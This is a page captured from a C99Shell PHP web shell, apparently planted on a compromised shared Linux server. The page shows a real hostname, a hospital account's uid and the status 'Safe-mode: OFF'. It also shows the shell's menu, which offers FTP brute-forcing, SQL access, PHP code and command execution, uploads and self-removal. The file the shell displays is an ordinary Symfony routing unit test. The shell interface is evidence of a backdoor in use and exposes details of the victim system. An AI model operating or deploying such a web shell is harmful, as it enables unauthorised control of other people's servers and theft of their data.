!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php54/usr/share/pear/test/Routing/Symfony/Component/Routing/Tests/Matcher/   drwxr-xr-x
Free 292.48 GB of 429.69 GB (68.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     TraceableUrlMatcherTest.php (3.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Routing\Tests\Matcher;

use 
Symfony\Component\Routing\Route;
use 
Symfony\Component\Routing\RouteCollection;
use 
Symfony\Component\Routing\RequestContext;
use 
Symfony\Component\Routing\Matcher\TraceableUrlMatcher;

class 
TraceableUrlMatcherTest extends \PHPUnit_Framework_TestCase
{
    public function 
test()
    {
        
$coll = new RouteCollection();
        
$coll->add('foo', new Route('/foo', array(), array('_method' => 'POST')));
        
$coll->add('bar', new Route('/bar/{id}', array(), array('id' => '\d+')));
        
$coll->add('bar1', new Route('/bar/{name}', array(), array('id' => '\w+''_method' => 'POST')));
        
$coll->add('bar2', new Route('/foo', array(), array(), array(), 'baz'));
        
$coll->add('bar3', new Route('/foo1', array(), array(), array(), 'baz'));
        
$coll->add('bar4', new Route('/foo2', array(), array(), array(), 'baz', array(), array(), 'context.getMethod() == "GET"'));

        
$context = new RequestContext();
        
$context->setHost('baz');

        
$matcher = new TraceableUrlMatcher($coll$context);
        
$traces $matcher->getTraces('/babar');
        
$this->assertEquals(array(000000), $this->getLevels($traces));

        
$traces $matcher->getTraces('/foo');
        
$this->assertEquals(array(1002), $this->getLevels($traces));

        
$traces $matcher->getTraces('/bar/12');
        
$this->assertEquals(array(02), $this->getLevels($traces));

        
$traces $matcher->getTraces('/bar/dd');
        
$this->assertEquals(array(011000), $this->getLevels($traces));

        
$traces $matcher->getTraces('/foo1');
        
$this->assertEquals(array(00002), $this->getLevels($traces));

        
$context->setMethod('POST');
        
$traces $matcher->getTraces('/foo');
        
$this->assertEquals(array(2), $this->getLevels($traces));

        
$traces $matcher->getTraces('/bar/dd');
        
$this->assertEquals(array(012), $this->getLevels($traces));

        
$traces $matcher->getTraces('/foo2');
        
$this->assertEquals(array(000001), $this->getLevels($traces));
    }

    public function 
testMatchRouteOnMultipleHosts()
    {
        
$routes = new RouteCollection();
        
$routes->add('first', new Route(
            
'/mypath/',
            array(
'_controller' => 'MainBundle:Info:first'),
            array(),
            array(),
            
'some.example.com'
        
));

        
$routes->add('second', new Route(
            
'/mypath/',
            array(
'_controller' => 'MainBundle:Info:second'),
            array(),
            array(),
            
'another.example.com'
        
));

        
$context = new RequestContext();
        
$context->setHost('baz');

        
$matcher = new TraceableUrlMatcher($routes$context);

        
$traces $matcher->getTraces('/mypath/');
        
$this->assertEquals(
            array(
TraceableUrlMatcher::ROUTE_ALMOST_MATCHESTraceableUrlMatcher::ROUTE_ALMOST_MATCHES),
            
$this->getLevels($traces)
        );
    }

    public function 
getLevels($traces)
    {
        
$levels = array();
        foreach (
$traces as $trace) {
            
$levels[] = $trace['level'];
        }

        return 
$levels;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0984 ]--